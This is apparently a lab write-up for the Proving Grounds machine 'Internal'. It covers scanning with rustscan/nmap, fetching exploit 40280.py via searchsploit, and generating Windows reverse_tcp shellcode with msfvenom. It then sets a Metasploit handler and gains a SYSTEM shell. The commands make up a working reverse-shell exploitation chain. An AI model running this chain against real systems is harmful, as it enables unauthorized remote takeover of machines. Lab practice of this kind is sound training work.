> For the complete documentation index, see [llms.txt](https://psdon.gitbook.io/hackworld/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://psdon.gitbook.io/hackworld/writeup/proving-grounds-practice/internal.md).
# Internal
## nmap
```
mkdir nmap
sudo rustscan -a 192.168.201.40 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan --scripts vuln
```
Looks like there's a CVE detected by nmap
## Exploitation
Let's find the source code of the exploit of this CVE.
Mirror the exploit to your local machine
```
searchsploit -m windows/remote/40280.py
```
Create shellcode with `msfvenom` as per exploit instruction.
```
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.49.201 LPORT=4444 EXITFUNC=thread -f python -v shell
```
Copy the shellcode and replace it on the source code
Open `msfconsole` and execute the following
```
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set lhost tun0
set exitfunc thread
run
```
Run the exploit
```
python 40280.py 192.168.201.40
```
And you should receive your `nt authority\system` shell.
